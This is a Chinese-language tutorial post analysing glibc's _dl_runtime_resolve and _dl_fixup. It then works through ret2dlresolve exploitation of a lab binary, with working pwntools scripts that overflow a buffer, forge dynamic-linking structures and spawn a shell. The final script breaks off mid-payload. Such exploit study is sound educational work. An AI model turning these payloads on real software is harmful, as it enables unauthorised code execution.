关于_dl_runtime_resolve分析与ret2dlresolve

前言

之前总结了静态链接和动态链接的过程,这次我们要真正讨论一下ret2dl的攻击方法。在此之前我们需要把_dl_runtime_resolve进行一下分析。

_dl_runtime_resolve分析

我在网上查到资料是这个函数在\sysdeps\x86_64\dl-trampoline.S路径里。但是里面没有找该函数的代码实现,我又看了看他的头文件,实际上的代码的实现是保存在\sysdeps\x86_64\dl-trampoline.h里。代码是用汇编实现的,

	.text
.globl _dl_runtime_resolve
.hidden _dl_runtime_resolve
.type _dl_runtime_resolve, @function
.align 16
cfi_startproc
_dl_runtime_resolve:
cfi_adjust_cfa_offset(16) # Incorporate PLT
#if DL_RUNIME_RESOLVE_REALIGN_STACK
# if LOCAL_STORAGE_AREA != 8
# error LOCAL_STORAGE_AREA must be 8
# endif
pushq %rbx # push subtracts stack by 8.
cfi_adjust_cfa_offset(8)
cfi_rel_offset(%rbx, 0)
mov %RSP_LP, %RBX_LP
cfi_def_cfa_register(%rbx)
and $-VEC_SIZE, %RSP_LP
#endif
sub $REGISTER_SAVE_AREA, %RSP_LP
cfi_adjust_cfa_offset(REGISTER_SAVE_AREA)
# Preserve registers otherwise clobbered.
movq %rax, REGISTER_SAVE_RAX(%rsp)
movq %rcx, REGISTER_SAVE_RCX(%rsp)
movq %rdx, REGISTER_SAVE_RDX(%rsp)
movq %rsi, REGISTER_SAVE_RSI(%rsp)
movq %rdi, REGISTER_SAVE_RDI(%rsp)
movq %r8, REGISTER_SAVE_R8(%rsp)
movq %r9, REGISTER_SAVE_R9(%rsp)
VMOV %VEC(0), (REGISTER_SAVE_VEC_OFF)(%rsp)
VMOV %VEC(1), (REGISTER_SAVE_VEC_OFF + VEC_SIZE)(%rsp)
VMOV %VEC(2), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 2)(%rsp)
VMOV %VEC(3), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 3)(%rsp)
VMOV %VEC(4), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 4)(%rsp)
VMOV %VEC(5), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 5)(%rsp)
VMOV %VEC(6), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 6)(%rsp)
VMOV %VEC(7), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 7)(%rsp)
#ifndef __ILP32__
# We also have to preserve bound registers. These are nops if
# Intel MPX isn't available or disabled.
# ifdef HAVE_MPX_SUPPORT
bndmov %bnd0, REGISTER_SAVE_BND0(%rsp)
bndmov %bnd1, REGISTER_SAVE_BND1(%rsp)
bndmov %bnd2, REGISTER_SAVE_BND2(%rsp)
bndmov %bnd3, REGISTER_SAVE_BND3(%rsp)
# else
# if REGISTER_SAVE_BND0 == 0
.byte 0x66,0x0f,0x1b,0x04,0x24
# else
.byte 0x66,0x0f,0x1b,0x44,0x24,REGISTER_SAVE_BND0
# endif
.byte 0x66,0x0f,0x1b,0x4c,0x24,REGISTER_SAVE_BND1
.byte 0x66,0x0f,0x1b,0x54,0x24,REGISTER_SAVE_BND2
.byte 0x66,0x0f,0x1b,0x5c,0x24,REGISTER_SAVE_BND3
# endif
#endif
# Copy args pushed by PLT in register.
# %rdi: link_map, %rsi: reloc_index
mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP
mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP
call _dl_fixup # Call resolver.
mov %RAX_LP, %R11_LP # Save return value
#ifndef __ILP32__
# Restore bound registers. These are nops if Intel MPX isn't
# avaiable or disabled.
# ifdef HAVE_MPX_SUPPORT
bndmov REGISTER_SAVE_BND3(%rsp), %bnd3
bndmov REGISTER_SAVE_BND2(%rsp), %bnd2
bndmov REGISTER_SAVE_BND1(%rsp), %bnd1
bndmov REGISTER_SAVE_BND0(%rsp), %bnd0
# else
.byte 0x66,0x0f,0x1a,0x5c,0x24,REGISTER_SAVE_BND3
.byte 0x66,0x0f,0x1a,0x54,0x24,REGISTER_SAVE_BND2
.byte 0x66,0x0f,0x1a,0x4c,0x24,REGISTER_SAVE_BND1
# if REGISTER_SAVE_BND0 == 0
.byte 0x66,0x0f,0x1a,0x04,0x24
# else
.byte 0x66,0x0f,0x1a,0x44,0x24,REGISTER_SAVE_BND0
# endif
# endif
#endif
# Get register content back.
movq REGISTER_SAVE_R9(%rsp), %r9
movq REGISTER_SAVE_R8(%rsp), %r8
movq REGISTER_SAVE_RDI(%rsp), %rdi
movq REGISTER_SAVE_RSI(%rsp), %rsi
movq REGISTER_SAVE_RDX(%rsp), %rdx
movq REGISTER_SAVE_RCX(%rsp), %rcx
movq REGISTER_SAVE_RAX(%rsp), %rax
VMOV (REGISTER_SAVE_VEC_OFF)(%rsp), %VEC(0)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE)(%rsp), %VEC(1)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 2)(%rsp), %VEC(2)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 3)(%rsp), %VEC(3)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 4)(%rsp), %VEC(4)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 5)(%rsp), %VEC(5)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 6)(%rsp), %VEC(6)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 7)(%rsp), %VEC(7)
#if DL_RUNIME_RESOLVE_REALIGN_STACK
mov %RBX_LP, %RSP_LP
cfi_def_cfa_register(%rsp)
movq (%rsp), %rbx
cfi_restore(%rbx)
#endif
# Adjust stack(PLT did 2 pushes)
add $(LOCAL_STORAGE_AREA + 16), %RSP_LP
cfi_adjust_cfa_offset(-(LOCAL_STORAGE_AREA + 16))
# Preserve bound registers.
PRESERVE_BND_REGS_PREFIX
jmp *%r11 # Jump to function address.
cfi_endproc
.size _dl_runtime_resolve, .-_dl_runtime_resolve

这段代码的功能就是保存寄存器的值到栈里,然后调用_dl_fixup执行具体功能,然后从栈中恢复寄存器。而调用_dl_fixup传入的参数rdi是link_map,rsi是GOT中关于PLT重定位的索引,后面根据该索引寻找要传入的新地址。所以分析_dl_fixup对我们了解_dl_runtime_resolve是非常重要的。

_dl_fixup分析

_dl_fixup是定义和实现是在\elf\dl-runtime.c中,先来分析一下代码。

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//通过宏D_PTR获取获得动态链接符号表的地址,既得到.dynsym的指针。
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//通过宏D_PTR获取获得动态链接字符串的地址,既得到.dynstr的指针。
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//reloc_offset就是传进来的第二个参数,GOT中关于PLT重定位的索引,将.rel.plt的地址与reloc_offset相加,得到该函数的ELF32_Rel的结构体指针。
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//得到r_info中里保存的重定位入口符号在符号表的下标,从而获取函数对应ELF32_sym的指针。
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
//l->l_addr保存的是共享文件加载的基地址。这里的rel_addr是基地址l->l_addr加上got表在共享对象的偏移reloc->r_offset,得到我们要修改的got表所在的位置。
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
//这里是检查r_info中的重定位入口类型是否是R_386_JMP_SLOT,动态链接中函数重定位一般都为R_386_JMP_SLOT,也就是7
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
//这里判断函数是否被解析过,如果(sym->st_other)&0x03结果为0,说明没有解析过,不属于STV_PROTECTED、STV_HIDDEN或者STV_INTERNAL其中任何一种。
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
//这部分获取version信息,我们可以发现version是使用我们的r_info进行赋值,如果我们r_info的重定位入口符号下标异常从而导致ndx数值异常,很可能导致l_versions[ndx]数组越界到不可读位置导致程序崩溃。

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}

else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
//这一部分先通过strtab(字符串表的基地址)加上st_name(字符串对应字符串表的下标)得到函数的字符串,从已经装载的共享库找到最终符号的地址,得到符号对其重定位,加上libc的装载地址得到最终地址,保存在value中
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
//这部分是使用elf_machine_fixup_plt对函数地址进行修正,将函数真实地址写入got表
}

我们总结一下刚刚分析好的_dl_runtime_resolve过程

  1. 首先获取后面需要使用的地址:
    • 通过宏D_PTR获取获得动态链接符号表的地址,动态链接字符串
    • 获取.rel.plt的地址,将.rel.plt的地址与reloc_offset相加,得到该函数的ELF32_Rel的结构体指针
    • 得到r_info中里保存的重定位入口符号在符号表的下标,从而获取函数对应ELF32_sym的指针。
    • 基地址l->l_addr加上got表在共享对象的偏移reloc->r_offset,得到我们要修改的got表所在的位置。
  2. 接下来做一些检查:
    • 检查r_info中的重定位入口类型是否是R_386_JMP_SLOT
    • 判断函数是否被解析过,是否属于属于STV_PROTECTED、STV_HIDDEN或者STV_INTERNAL其中任何一种。
  3. 紧接着获取version信息,通过strtab(字符串表的基地址)加上st_name(字符串对应字符串表的下标)得到函数的字符串,从已经装载的共享库找到最终符号的地址,得到符号对其重定位,加上libc的装载地址得到最终地址,保存在value中,最后对函数地址进行修正,将函数真实地址写入got表

了解了_dl_runtime_resolve的基本过程,接下来我们来看看攻击的手法吧

ret2dlresolve

攻击思路

从最直接的角度去想直接去修改.dynsym、.dynstr或者是修改.rel.plt,但是存在一些问题,我们会发现这些segment是不可写的,也就是说我们无法通过修改它们达到我们的目的。

  1. 让我们换个思路,既然不能直接改写这些segment,是否可以间接控制到它们那?看看_dl_runtime_resolve过程的第一步,所有的地址索引都是从.dynamic开始的,也就是说,我们如果控制了.dynamic也就控制了整个动态链接的过程,也就可以实现执行目标代码。比如我们通过其劫持到strtab,我们既可以根据st_name的偏移伪造出字符串表,比如将write的偏移地方写上system,这样就可以到达我们执行目的函数的目标。但是这种方法的局限性较强,得No RELRO才行

  2. 再者我们先伪造出Elf32_RelElf32_Sym两个结构体,并传入的虚假的reloc_offset参数,我们对reloc_offset做一个修改使得其位置发生偏移,通过虚假的reloc_arg使得程序流读取我们伪造的结构体,进而取得我们伪造的偏移量,最终取得伪造的函数字符串。这样也可以达到我们的目的,但是要注意这种方法存在一定的问题,其不能用于x64的架构在上面分析的代码里有这样一段

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
    const ElfW(Half) *vernum =
    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
    version = NULL;
    }

    我们在64位条件下,我们程序的bss段是被映射到0x600000的,那么我们伪造的.dynsym也会在这个地址之后,而d_ptr是在0x400000,这样在取下标的时候很可能会很大从而取到二者之间的不可读区域

  3. 我们还是看看_dl_runtime_resolve的第一步,可以看到除了.dynamic之外,我们索引也通过D_PTR,也就是说如果我们伪造link_map,也就可以做到控制程序到目的函数。

攻击实战

32位下通过修改.dynamic进行攻击(NO RELOR)

我们先实验一下第一种攻击方式,由于没有现成的程序,所以我改写了一下XMan2016的level3

//gcc -fno-stack-protector -m32 -z norelro -no-pie level3.c -o level3_norelro_32
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
write(1, "Input:\n", 7u);
read(0, buf, 0x200u);
return;
}
int main()
{

vuln();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

我们来checksec一下

checksec

确定是没有开RELRO的

先看一下偏移大小

偏移

我们先确定一下后面要使用到的一些地址

接下来我们要寻找到read存放跳转到_dl_runtime_resolve的地址,也就是got表一开始填写的地址,可以使用gdb来查看

通过got.plt寻找代码

这样我们就得到了push 0x0 jmp _dl_runtime_resolve的地址

offsetct=112
write_plt=elf.plt['write']
read_plt=elf.plt['read']
read_dl=0x08049040

pop_esi_edi_ebp_ret=0x080492b1
pop_ebp_ret=0x080492b3
leave_ret=0x08049125

接下来还需要通过gdb来寻找dynstr地址在dynamic中保存的地址,由于我没有找到这个api,也不知道有没有,只能采用下面的方法

dynamic_addr=elf.get_section_by_name('.dynamic').header.sh_addr#获取dynamic的地址
dynstr_addr=elf.get_section_by_name('.dynstr').header.sh_addr#获取dynstr的地址
success('dynamic : '+hex(dynamic_addr))
success('dynstr : '+hex(dynstr_addr))
gdb.attach(io)
pause()

调用gdb

查看地址

调用gdb

我们可以看到该地址位于0x804b208,或者还有一个办法

使用readelf -d level3_norelro_32来查看.dynamic

数一数STRTAB的偏移

查看偏移

那么其地址即为dynamic_addr+str_offset*0x8+4

dynamic_addr=elf.get_section_by_name('.dynamic').header.sh_addr
dynstr_addr=elf.get_section_by_name('.dynstr').header.sh_addr
success('dynamic : '+hex(dynamic_addr))
success('dynstr : '+hex(dynstr_addr))
str_offsetct=0x8
dynamic_dynstr_addr=dynamic_addr+str_offsetct*0x8+0x4

bss_addr=elf.get_section_by_name('.bss').header.sh_addr#获取bss的地址
fake_stack=bss_addr+0x400#在bss上做一个偏移为我们的栈基址
dynstr=elf.get_section_by_name('.dynstr').data()#获取.dynstr的内容
fake_dynstr=dynstr.replace("read","system")#替换read和system

调用read为我们后面在栈里写入做一个准备,然后做一个栈迁移,将栈迁移到.bss段,而这里需要注意的是我们栈是向下生长的,我们需要给其留足空间,防止其进入不可写的页,这里卡了我好久,一开始留出了0x100的空间,结果到后面一直出问题,调试了一个下午,这里要感谢帮助我和我一起讨论的师傅们,还要特别感谢ha1vk师傅帮我点出这个问题,要不是他们我可能再用一个晚上都解决不了这个问题。

payload =b'a'*offsetct+p32(read_plt)
payload+=p32(pop_esi_edi_ebp_ret)#这里是为了将下面三个参数弹出栈而调用下面的gadget
payload+=p32(0)+p32(fake_stack)+p32(0x300)
payload+=p32(pop_ebp_ret)
payload+=p32(fake_stack)
payload+=p32(leave_ret)#将栈迁移到.bss段上

sla(io,'Input:',payload)

接下来就是改写.dynamic在里面写入我们伪造的.dynstr和“sh”,然后通过伪造的符号表让read调用system

payload =p32(0)#ebp
payload+=p32(read_plt)#调用read向.dynamic读入虚假的地址
payload+=p32(read_dl)#传参调用_dl_runtime_resolve,使其调用system
payload+=p32(0)+p32(dynamic_dynstr_addr)+p32(7)
fake_str_offset=len(payload)
payload+=fake_dynstr


sleep(0.5)
sl(io,payload)

fake_str_addr=p32(fake_stack+fake_str_offset)+';sh'#这里的参数实际上是p32(fake_stack+fake_str_offset),但是这里会调用失败然后;结束命令,参数变为sh

sleep(0.5)
sn(io,fake_str_addr)

这样就执行了system(‘sh’)。

其实最后这里如果觉得不舒服,想一次性直接调用system(‘/bin/sh\x00’),也可以依照上面第一次rop的方法调用:

payload =p32(0)
payload+=p32(read_plt)
payload+=p32(pop_esi_edi_ebp_ret)
payload+=p32(0)+p32(dynamic_dynstr_addr)+p32(4)
payload+=p32(read_dl)
payload+=p32(0)+p32(len(payload)+8+len(fake_dynstr)+fake_stack)
fake_str_offset=len(payload)
payload+=fake_dynstr
payload+='/bin/sh\x00'

sleep(0.5)
sl(io,payload)

fake_str_addr=p32(fake_stack+fake_str_offset)

sleep(0.5)
sn(io,fake_str_addr)

完整exp:

from pwn import *

context.os='linux'
context.log_level='debug'
context.arch='i386'

io=process('./level3_norelro_32')
elf = ELF('./level3_norelro_32')

ru = lambda p, x ,drop=False: p.recvuntil(x,drop)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rd = lambda p, x : p.recvuntil(x, drop=True)

offsetct=112
write_plt=elf.plt['write']
read_plt=elf.plt['read']
read_dl=0x08049044

pop_esi_edi_ebp_ret=0x080492b1
pop_ebp_ret=0x080492b3
leave_ret=0x08049125
ret=0x0804900e

dynamic_addr=elf.get_section_by_name('.dynamic').header.sh_addr
dynstr_addr=elf.get_section_by_name('.dynstr').header.sh_addr
success('dynamic : '+hex(dynamic_addr))
success('dynstr : '+hex(dynstr_addr))
str_offsetct=0x8
dynamic_dynstr_addr=dynamic_addr+str_offsetct*0x8+0x4

bss_addr=elf.get_section_by_name('.bss').header.sh_addr
fake_stack=bss_addr+0x400
dynstr=elf.get_section_by_name('.dynstr').data()
fake_dynstr=dynstr.replace("read","system")

payload =b'a'*offsetct+p32(read_plt)
payload+=p32(pop_esi_edi_ebp_ret)
payload+=p32(0)+p32(fake_stack)+p32(0x300)
payload+=p32(pop_ebp_ret)
payload+=p32(fake_stack)
payload+=p32(leave_ret)


sla(io,'Input:',payload)


payload =p32(0)
payload+=p32(read_plt)
payload+=p32(read_dl)
payload+=p32(0)+p32(dynamic_dynstr_addr)+p32(7)
fake_str_offset=len(payload)
payload+=fake_dynstr
payload+='/bin/sh\x00'



sleep(0.5)
sl(io,payload)

fake_str_addr=p32(fake_stack+fake_str_offset)+';sh'

sleep(0.5)
sn(io,fake_str_addr)


io.interactive()

64位下通过修改.dynamic进行攻击(NO RELOR)

代码依旧是上面的代码,但是我们的编译命令要稍作更改gcc -fno-stack-protector -z norelro -no-pie level3.c -o level3_norelro_32这样就i可以完成编译了

64位下攻击更为便捷,基本上只需要一条rop链就可以完成我们的攻击,流程和之前几乎一样,甚至更为简单,这里就不过多进行赘述,直接上exp:

# -*- coding: utf-8 -*-
from pwn import *

context.os='linux'
context.log_level='debug'
context.arch='amd64'

io=process('./level3_norelro_64')
elf = ELF('./level3_norelro_64')

ru = lambda p, x ,drop=False: p.recvuntil(x,drop)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rd = lambda p, x : p.recvuntil(x, drop=True)

offset=120

write_plt=elf.plt['write']
read_plt=elf.plt['read']
read_dl=0x0000000000401040

pop_rdi_ret=0x0000000000401223
pop_rsi_r15_ret=0x0000000000401221
ret=0x000000000040101a
dynamic_addr=elf.get_section_by_name('.dynamic').header.sh_addr
dynstr_addr=elf.get_section_by_name('.dynstr').header.sh_addr
success('dynamic : '+hex(dynamic_addr))
success('dynstr : '+hex(dynstr_addr))
dynamic_dynstr_addr=0x403220

bss_addr=elf.get_section_by_name('.bss').header.sh_addr
dynstr=elf.get_section_by_name('.dynstr').data()
fake_dynstr=dynstr.replace("read","system")
fake_dynstr_len=len(fake_dynstr)

payload ='a'*offset
payload+=p64(pop_rdi_ret)
payload+=p64(0)
payload+=p64(pop_rsi_r15_ret)
payload+=p64(bss_addr)
payload+=p64(0)
payload+=p64(read_plt)#向.bss段写入虚假的strtab还有/bin/sh\x00
payload+=p64(pop_rdi_ret)
payload+=p64(0)
payload+=p64(pop_rsi_r15_ret)
payload+=p64(dynamic_dynstr_addr)
payload+=p64(0)
payload+=p64(read_plt)#改写.dynamic的dynstr指针
payload+=p64(pop_rdi_ret)
payload+=p64(bss_addr+fake_dynstr_len)
payload+=p64(ret)
payload+=p64(read_dl)#传参调用_dl_runtime_resolve,使其调用system

sla(io,'Input:',payload)


payload=fake_dynstr+b'/bin/sh\x00'
sleep(0.2)
sl(io,payload)

payload=p64(bss_addr)
sleep(0.2)
sl(io,payload)

io.interactive()

32位下伪造reloc_age和伪造Elf32_Rel、Elf32_Sym结构体进行攻击(Partial RELRO)

还是上面的程序不过这里我们做一些修改,使其RELRO保护变为Partial RELRO。编译命令为

gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie leve3.c -o level3_partialrelro_32在这种情况下我们之前的攻击方式就会变得无效,因为.dynamic会变得不可写,所以我们不能再用同样的方法攻击。这里就要采用我们攻击思路的第二条了

我们先展示一下Elf32_Rel和Elf32_Sym的结构是怎么样的,以便后面伪造

typedef struct{
Elf32_Addr r_offset;
Elf32_Word r_info;
}Elf32_Rel;

结构体中的成员我们在之前蒋的静态链接介绍过,二者都占有一个字长即为4个字节

typedef struct
{
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;

符号表项的具体结构也在上次的静态链接中介绍过,这里重点在于st_name,其决定了其符号的字符串在字符串表的位置。

我们先列出后面需要用到的地址plt_0的地址可以在ida中找到,如果找不到可以

先查找read@got.plt里存放的代码地址

查看.got.plt表

然后再查看这部分代码就可以得到plt0的位置啦

查看代码得到plt0

offset=112
write_got=elf.got['write']
read_plt=elf.plt['read']
plt_0=0x8049030
write_plt_without_push=0x08049060#和plt_0等价

pop_ebp_ret=0x080492b3
pop_esi_edi_ebp_ret=0x080492b1
leave_ret=0x08049125

rel_plt_addr=elf.get_section_by_name('.rel.plt').header.sh_addr
dynstr_addr=elf.get_section_by_name('.dynstr').header.sh_addr
dynsym_addr=elf.get_section_by_name('.dynsym').header.sh_addr
bss_addr=elf.get_section_by_name('.bss').header.sh_addr
fake_stack=bss_addr+0x600

接下来还是一样做栈迁移到.bss段,并做后续的工作,防止爆栈

payload =b'a'*offset+p32(read_plt)
payload+=p32(pop_esi_edi_ebp_ret)
payload+=p32(0)+p32(fake_stack)+p32(0x300)
payload+=p32(pop_ebp_ret)
payload+=p32(fake_stack)
payload+=p32(leave_ret)

sla(io,'Input:',payload)

接下来我们也借用CTF Wiki的渐进思路来一步步深入的学习这个部分

阶段一

我们先做简单的一步,手动调用plt[0],来解析write函数,将我们的命令打印出来即可。我们需要提前将write_reloc_age给push进栈,也就是我们只要在栈里存放着write的write_reloc_age即可。这里寻找write的reloc_age也和之前找plt[0]的方法一样。

寻找write的reloc_age

write_reloc_age=0x10
cmd='/bin/sh\x00'

payload =p32(0)
payload+=p32(plt_0)
payload+=p32(write_reloc_age)
payload+=p32(main_addr)#返回地址
payload+=p32(1)
payload+=p32(fake_stack+len(payload)+8)
payload+=p32(len(cmd))
payload+=cmd

sleep(0.1)
sl(io,payload)
rv(io)
io.interactive()

得到我们的/bin/sh\x00

阶段二

我们这步控制好reloc_age的大小,然后使得reloc落在我们可以控制的.bss段,让其指向我们伪造的write重定位项,这样就可以控制道r_info

我们先查看我们我们文件的重定位表readelf -r level3_partialrelro_32

查看重定位表

这样就可以找到我们write的r_info

剩下的就是将write的指针指向我们我们复制在.bss段的重定位项。更改一下我们之前的payload即可

fake_write_reloc_age=fake_stack+7*4-rel_plt_addr
cmd='/bin/sh\x00'
r_info=0x407

payload =p32(0)
payload+=p32(plt_0)
payload+=p32(fake_write_reloc_age)
payload+=p32(main_addr)#返回地址
payload+=p32(1)
payload+=p32(fake_stack+len(payload)+4*4)
payload+=p32(len(cmd))
payload+=p32(write_got)
payload+=p32(r_info)
payload+=cmd

sleep(0.1)
sl(io,payload)
rv(io)

io.interactive()x00

成功输出了/bin/sh\x00

同样得到我们的/bin/sh、x00

阶段三

这一阶段我们控制我们之前控制好的r_info,使得write的Elf32_Sym落在我们的可控范围内

我知道我们的r_info分为两部分,32位下,第八位为重定位入口类型,高24位为重定位入口的符号在符号表的下标。

我们write的r_info是0x407,也就是偏移为4,重定位类型为7

这里我们要将write的Elf32_Sym到我们的.bss段上,而且要保证其16字节对齐

我们除了修改r_info之外还要复制一份write的Elf32_Sym。先查看一下其内容,由于之前我们得到其offset为4,那么我们可以通过查看整个symtab得到他

获取write的Elf32_Sym

fake_write_reloc_age=fake_stack+7*4-rel_plt_addr
align=0x10-((fake_stack+36-dynsym_addr)%16)#这里是为了保证我们wrte函数虚假的符号表项地址是16字节对齐的,这里为后面做一个补齐
fake_write_Elf32_Sym_addr=fake_stack+36+align
fake_info=((((fake_write_Elf32_Sym_addr-dynsym_addr)//16)<<8)|0x7)#最后|0x7是为了保证重定位类型不变

fake_write_Elf32_Rel=p32(write_got)+p32(fake_info)
fake_write_Elf32_Sym=p32(0x31)+p32(0)+p32(0)+p32(0x12)

cmd='/bin/sh\x00'



payload =p32(0)
payload+=p32(plt_0)
payload+=p32(fake_write_reloc_age)
payload+=p32(main_addr)#返回地址
payload+=p32(1)
payload+=p32(fake_stack+len(payload)+len(fake_write_Elf32_Rel)+len(fake_write_Elf32_Sym)+align+8)
payload+=p32(len(cmd))
payload+=fake_write_Elf32_Rel
payload+=align*'a'
payload+=fake_write_Elf32_Sym
payload+=cmd

sleep(0.1)
sl(io,payload)
rv(io)

io.interactive()

阶段四

在上一阶段我们控制了Elf32_Sym,接下来就可以控制字符串表了,我们可以通过修改st_name来寻找到字符串表,将其放置在我们的.bss段

sla(io,'Input:',payload)


fake_write_reloc_age=fake_stack+7*4-rel_plt_addr
align=0x10-((fake_stack+36-dynsym_addr)%16)#这里是为了保证我们wrte函数虚假的符号表项地址是16字节对齐的,这里为后面做一个补齐
fake_write_Elf32_Sym_addr=fake_stack+36+align
fake_info=((((fake_write_Elf32_Sym_addr-dynsym_addr)//16)<<8)|0x7)#最后|0x7是为了保证重定位类型不变
fake_write_str_addr=fake_stack+36+align+0x10
fake_st_name=fake_write_str_addr-dynstr_addr

fake_write_Elf32_Rel=p32(write_got)+p32(fake_info)
fake_write_Elf32_Sym=p32(fake_st_name)+p32(0)+p32(0)+p32(0x12)
fake_write_str='write\x00'
cmd='/bin/sh\x00'



payload =p32(0)
payload+=p32(plt_0)
payload+=p32(fake_write_reloc_age)
payload+=p32(main_addr)#返回地址
payload+=p32(1)
payload+=p32(fake_stack+len(payload)+len(fake_write_Elf32_Rel)+len(fake_write_Elf32_Sym)+len(fake_write_str)+align+8)
payload+=p32(len(cmd))
payload+=fake_write_Elf32_Rel
payload+=align*'a'
payload+=fake_write_Elf32_Sym
payload+=fake_write_str
payload+=cmd

sleep(0.1)
sl(io,payload)
rv(io)

同样成功

阶段五

既然我们已经控制了字符串表,剩下的就是将其修改掉即可,我们只要将write修改为system,还有将关于偏移和函数调用的参数全部修改即可将write劫持到system从而拿取shell。

最终exp

#coding:utf-8
from pwn import *

context.os='linux'
context.log_level='debug'
context.arch='i386'

io=process('./level3_partialrelro_32')
elf = ELF('./level3_partialrelro_32')

ru = lambda p, x ,drop=False: p.recvuntil(x,drop)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rd = lambda p, x : p.recvuntil(x, drop=True)

offset=112
write_got=elf.got['write']
read_plt=elf.plt['read']
main_addr=elf.sym['main']

plt_0=0x8049030
write_plt_without_push=0x08049060#和plt_0等价

pop_ebp_ret=0x080492b3
pop_esi_edi_ebp_ret=0x080492b1
leave_ret=0x08049125
ret=0x0804900e

rel_plt_addr=elf.get_section_by_name('.rel.plt').header.sh_addr
dynstr_addr=elf.get_section_by_name('.dynstr').header.sh_addr
dynsym_addr=elf.get_section_by_name('.dynsym').header.sh_addr
bss_addr=elf.get_section_by_name('.bss').header.sh_addr
fake_stack=bss_addr+0x800

payload =b'a'*offset+p32(read_plt)
payload+=p32(pop_esi_edi_ebp_ret)
payload+=p32(0)+p32(fake_stack)+p32(0x300)
payload+=p32(pop_ebp_ret)
payload+=p32(fake_stack)
payload+=p32(leave_ret)

